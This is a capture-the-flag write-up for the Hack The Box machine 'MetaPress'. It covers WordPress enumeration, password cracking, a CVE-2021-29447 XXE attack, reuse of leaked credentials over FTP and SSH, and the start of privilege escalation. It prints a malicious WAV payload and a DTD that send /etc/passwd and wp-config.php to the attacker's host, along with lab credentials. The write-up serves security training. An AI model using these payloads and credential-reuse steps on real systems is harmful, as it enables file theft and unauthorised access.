We change our /etc/hosts files and add this line 10.10.11.186 metapress.htb
Port 80
This seems to be a wordpress. We can run wpscan:
└─$wpscan--urlhttp://metapress.htb/--enumerate_____________________________________________________________________________\ \ //__ \ /____|\ \ /\ //||__) | (____________®\ \/ \/ /|___/ \___ \ /__|/_` |'_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.18 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart_______________________________________________________________[i] It seems like you have not updated the database for some time.[?] Do you want to update now? [Y]es [N]o, default: [N]Y[i] Updating the Database ...[i] Update completed.[+] URL: http://metapress.htb/ [10.10.11.186][+] Started: Thu Nov 10 14:08:36 2022Interesting Finding(s):[+] Headers | Interesting Entries: | - Server: nginx/1.18.0 | - X-Powered-By: PHP/8.0.24 | Found By: Headers (Passive Detection) | Confidence: 100%[+] robots.txt found: http://metapress.htb/robots.txt | Interesting Entries: | - /wp-admin/ | - /wp-admin/admin-ajax.php | Found By: Robots Txt (Aggressive Detection) | Confidence: 100%[+] XML-RPC seems to be enabled: http://metapress.htb/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[+] WordPress readme found: http://metapress.htb/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%[+] The external WP-Cron seems to be enabled: http://metapress.htb/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299[+] WordPress version 5.6.2 identified (Insecure, released on 2021-02-22). | Found By: Rss Generator (Passive Detection) | - http://metapress.htb/feed/, <generator>https://wordpress.org/?v=5.6.2</generator> | - http://metapress.htb/comments/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>[+] WordPress theme in use: twentytwentyone | Location: http://metapress.htb/wp-content/themes/twentytwentyone/ | Last Updated: 2022-11-02T00:00:00.000Z | Readme: http://metapress.htb/wp-content/themes/twentytwentyone/readme.txt | [!] The version is out of date, the latest version is 1.7 | Style URL: http://metapress.htb/wp-content/themes/twentytwentyone/style.css?ver=1.1 | Style Name: Twenty Twenty-One | Style URI: https://wordpress.org/themes/twentytwentyone/ | Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | Confirmed By: Css Style In 404 Page (Passive Detection) | | Version: 1.1 (80% confidence) | Found By: Style (Passive Detection) | - http://metapress.htb/wp-content/themes/twentytwentyone/style.css?ver=1.1, Match: 'Version:1.1'[+] Enumerating Vulnerable Plugins (via Passive Methods)[i] No plugins Found.[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods) Checking Known Locations - Time: 00:00:05 <=============================================================================================================================================================> (477 / 477) 100.00% Time: 00:00:05[+] Checking Theme Versions (via Passive and Aggressive Methods)[i] No themes Found.[+] Enumerating Timthumbs (via Passive and Aggressive Methods) Checking Known Locations - Time: 00:00:18 <===========================================================================================================================================================> (2575 / 2575) 100.00% Time: 00:00:18[i] No Timthumbs Found.[+] Enumerating Config Backups (via Passive and Aggressive Methods) Checking Config Backups - Time: 00:00:01 <==============================================================================================================================================================> (137 / 137) 100.00% Time: 00:00:01[i] No Config Backups Found.[+] Enumerating DB Exports (via Passive and Aggressive Methods) Checking DB Exports - Time: 00:00:00 <====================================================================================================================================================================> (71 / 71) 100.00% Time: 00:00:00[i] No DB Exports Found.[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected) Brute Forcing Attachment IDs - Time: 00:00:01 <=========================================================================================================================================================> (100 / 100) 100.00% Time: 00:00:01[i] No Medias Found.[+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 <===============================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00[i] User(s) Identified:[+] admin | Found By: Author Posts - Author Pattern (Passive Detection) | Confirmed By: | Rss Generator (Passive Detection) | Wp Json Api (Aggressive Detection) | - http://metapress.htb/wp-json/wp/v2/users/?per_page=100&page=1 | Rss Generator (Aggressive Detection) | Author Sitemap (Aggressive Detection) | - http://metapress.htb/wp-sitemap-users-1.xml | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection)[+] manager | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)[!] No WPScan API Token given, as a result vulnerability data has not been output.[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register[+] Finished: Thu Nov 10 14:09:10 2022[+] Requests Done: 3425[+] Cached Requests: 10[+] Data Sent: 1.057 MB[+] Data Received: 17.295 MB[+] Memory used: 298.242 MB[+] Elapsed time: 00:00:33
We tried to make a wordlist with cewl from the website but the bruteforce did not work with it so we lauched the bruteforce with rockyou.txt on the 2 found users admin and manager.
Bruteforce does not seem to be the way though
CVE 2022 0739
Navigating around in the website we find a booking press plugin
Note: the nonce is a number used once. It is a security token. You can read more about it here.
You will need to find yours. I recommend that you intercept traffic with burp and check your nonce this way.
We now need to crack the hashes. Wordpress hashes are stored in md5. We can do it with hashcat hashcat -O -m 400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
We get the password for manager $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar
Let's connect using it. We do not have much access with this user. Let's check for password reuse.
Password does not work on ftp
Does not work on ssh either
CVE 2021 29447
When analyzing wpscan we had a vulnerability that seemed interesting CVE-2021-29447 for our version of wordpress 5.6.2. This article explains it well.
Using this trick we can read files from the server.
Here is how I did it in my context
I created the wav file echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.4/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav
I created the evil.dtd file. Here is what it contains
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd"><!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.4/?p=%file;'>" >
Let's try to find other interesting files. Here is a list
PHP version PHP/8.0.24
Debian GNU/Linux 11 \n \l
nginx/1.18.0
Here is the /etc/ssh/ssh_config file
# This is the ssh client system-wide configuration file. See # ssh_config(5) for more information. This file provides defaults for # users, and the values can be changed in per-user configuration files # or on the command line. # Configuration data is parsed as follows: # 1. command line options # 2. user-specific file # 3. system-wide file # Any configuration value is only changed the first time it is set. # Thus, host-specific definitions should be at the beginning of the # configuration file, and defaults at the end. # Site-wide defaults for some commonly used options. For a comprehensive # list of available options, their meanings and defaults, please see the # ssh_config(5) man page. Include /etc/ssh/ssh_config.d/*.conf Host * # ForwardAgent no # ForwardX11 no # ForwardX11Trusted yes # PasswordAuthentication yes # HostbasedAuthentication no # GSSAPIAuthentication no # GSSAPIDelegateCredentials no # GSSAPIKeyExchange no # GSSAPITrustDNS no # BatchMode no # CheckHostIP yes # AddressFamily any # ConnectTimeout 0 # StrictHostKeyChecking ask # IdentityFile ~/.ssh/id_rsa # IdentityFile ~/.ssh/id_dsa # IdentityFile ~/.ssh/id_ecdsa # IdentityFile ~/.ssh/id_ed25519 # Port 22 # Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc # MACs hmac-md5,hmac-sha1,umac-64@openssh.com # EscapeChar ~ # Tunnel no # TunnelDevice any:any # PermitLocalCommand no # VisualHostKey no # ProxyCommand ssh -q -W %h:%p gateway.example.com # RekeyLimit 1G 1h # UserKnownHostsFile ~/.ssh/known_hosts.d/%k SendEnv LANG LC_* HashKnownHosts yes GSSAPIAuthentication yes
# ~/.profile: executed by the command interpreter for login shells.
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.
# the default umask is set in /etc/profile; for setting the umask # for ssh logins, install and configure the libpam-umask package.
#umask 022
# if running bash if [ -n "$BASH_VERSION" ]; then
# include .bashrc if it exists if [ -f "$HOME/.bashrc" ]; then . "$HOME/.bashrc" fi fi
# set PATH so it includes user's private bin if it exists if [ -d "$HOME/bin" ] ; then PATH="$HOME/bin:$PATH" fi
# set PATH so it includes user's private bin if it exists if [ -d "$HOME/.local/bin" ] ; then PATH="$HOME/.local/bin:$PATH" fi
It is also worth checking this website to learn more about nginx and its configuration files
It also seems like we have a way to tell if a directory exists.
Using this methodology and the fingerprinting from web server responses and nmap we could find out that the following folders exist
/etc/php/8.0/
/var/www/ (there are no folder log, logs, html, metapress inside)
/var/www/metapress.htb/
/etc/nginx/sites-available/
/etc/nginx/modules-enabled/
/etc/proftpd/
/usr/local/etc/
/etc/nginx/
/etc/nginx/conf.d
/home/jnelson/ (there are no folder .ssh in )
/usr/sbin/
/var/lib/
/var/lib/mysql/
/var/local/
/var/log/
/var/log/dpkg.log (its a file that exists but its empty)
/var/log/proftpd (its a file that exists but its empty)
/var/spool/
/var/spool/cron/
/srv/
WP Config file
I really want to find the wp-config.php. Ok so turns out that the absolute path /var/www/metapress.htb/ did not work what worked was a relative path ../wp-config.php. It looks like that it is because I was missing a part of the absolute path /var/www/metapress.htb/blog/wp-config.php
For some reason with the slib the file was truncated so my evil.dtd file looks like this
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php"><!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.4/?p=%file;'>" >
To decode the base64 we can also use bash as follow:
echo -n 'BASE64-STRING-HERE' | base64 --decode
And here is the wp-config.php file
<?php/** The name of the database for WordPress */define('DB_NAME','blog');/** MySQL database username */define('DB_USER','blog');/** MySQL database password */define('DB_PASSWORD','635Aq@TdqrCwXFUZ');/** MySQL hostname */define('DB_HOST','localhost');/** Database Charset to use in creating database tables. */define('DB_CHARSET','utf8mb4');/** The Database Collate type. Don't change this if in doubt. */define('DB_COLLATE','');define('FS_METHOD','ftpext');define('FTP_USER','metapress.htb');define('FTP_PASS','9NYS_ii@FyL_p5M2NvJ');define('FTP_HOST','ftp.metapress.htb');define('FTP_BASE','blog/');define('FTP_SSL',false);/**#@+ * Authentication Unique Keys and Salts. * @since 2.6.0 */define('AUTH_KEY','?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:');define('SECURE_AUTH_KEY','x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%');define('LOGGED_IN_KEY','J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy');define('NONCE_KEY','SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5');define('AUTH_SALT','[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D');define('SECURE_AUTH_SALT','>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.');define('LOGGED_IN_SALT','4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=');define('NONCE_SALT','.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL');/** * WordPress Database Table prefix. */$table_prefix ='wp_';/** * For developers: WordPress debugging mode. * @link https://wordpress.org/support/article/debugging-in-wordpress/ */define('WP_DEBUG',false);/** Absolute path to the WordPress directory. */if ( !defined('ABSPATH') ) {define('ABSPATH',__DIR__.'/');}/** Sets up WordPress vars and included files. */require_once ABSPATH .'wp-settings.php';
FTP
So we have the creds for the FTP server lets login there ftp -p 10.10.11.186
User is metapress.htb and password is 9NYS_ii@FyL_p5M2NvJ
If we look around we have the wordress folder but not really inresting. There is a mailer folder though that looks interesting. The SECURITY.md is not really interesting but there is also a php script that looks juicy.
<?php/* * This script will be used to send an email to all our users when ready for launch*/usePHPMailer\PHPMailer\PHPMailer;usePHPMailer\PHPMailer\SMTP;usePHPMailer\PHPMailer\Exception;require'PHPMailer/src/Exception.php';require'PHPMailer/src/PHPMailer.php';require'PHPMailer/src/SMTP.php';$mail =newPHPMailer(true);$mail->SMTPDebug =3; $mail->isSMTP(); $mail->Host ="mail.metapress.htb";$mail->SMTPAuth =true; $mail->Username ="jnelson@metapress.htb"; $mail->Password ="Cb4_JmWM8zUZWMu@Ys"; $mail->SMTPSecure ="tls"; $mail->Port =587; $mail->From ="jnelson@metapress.htb";$mail->FromName ="James Nelson";$mail->addAddress("info@metapress.htb");$mail->isHTML(true);$mail->Subject ="Startup";$mail->Body ="<i>We just started our new blog metapress.htb!</i>";try { $mail->send();echo"Message has been sent successfully";} catch (Exception $e) {echo"Mailer Error: ". $mail->ErrorInfo;}
We get another password this way. Let's try it on ssh as we know the user jnelson is here because we found their home folder previously
SSH
ssh jnelson@metapress.htb the password is Cb4_JmWM8zUZWMu@Ys
We can grab the user flag.
Privilege escalation
Let's take linpeas right away and enumerate automatically wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
python3 -m http.server 80
And in our target wget http://10.10.14.4/linpeas_linux_amd64
There were private ssh keys but I would not have guessed the path of the folder when trying to foothold /home/jnelson/.passpie/.keys
Apparently passpie is password manager. We can get more info about it here
Interesting output from linepeas to analyze further
